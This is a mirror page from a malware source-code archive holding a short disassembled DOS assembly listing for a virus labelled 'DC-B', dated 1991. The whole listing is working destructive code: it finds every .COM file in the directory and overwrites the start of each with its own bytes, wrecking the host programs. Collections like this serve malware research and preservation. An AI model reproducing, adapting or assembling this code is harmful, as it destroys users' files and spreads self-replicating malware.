mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
56 lines
1.2 KiB
NASM
56 lines
1.2 KiB
NASM
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PAGE 59,132
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ DC-B ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Created: 26-Dec-91 ÛÛ
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;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
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;ÛÛ ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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data_009E_e equ 9Eh
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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start:
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mov ah,4Eh ; 'N'
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mov dx,offset data_0124
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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loc_0107:
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mov ax,3D01h
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mov dx,data_009E_e
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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xchg ax,bx
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mov ah,40h ; '@'
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mov cl,2Ah ; '*'
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mov dx,100h
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int 21h ; DOS Services ah=function 40h
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; write file bx=file handle
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; cx=bytes from ds:dx buffer
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mov ah,3Eh ; '>'
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int 21h ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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mov ah,4Fh ; 'O'
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int 21h ; DOS Services ah=function 4Fh
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; find next filename match
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jnc loc_0107 ; Jump if carry=0
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retn
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data_0124 db 2Ah
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db 2Eh, 43h, 4Fh, 4Dh, 00h
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seg_a ends
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end start
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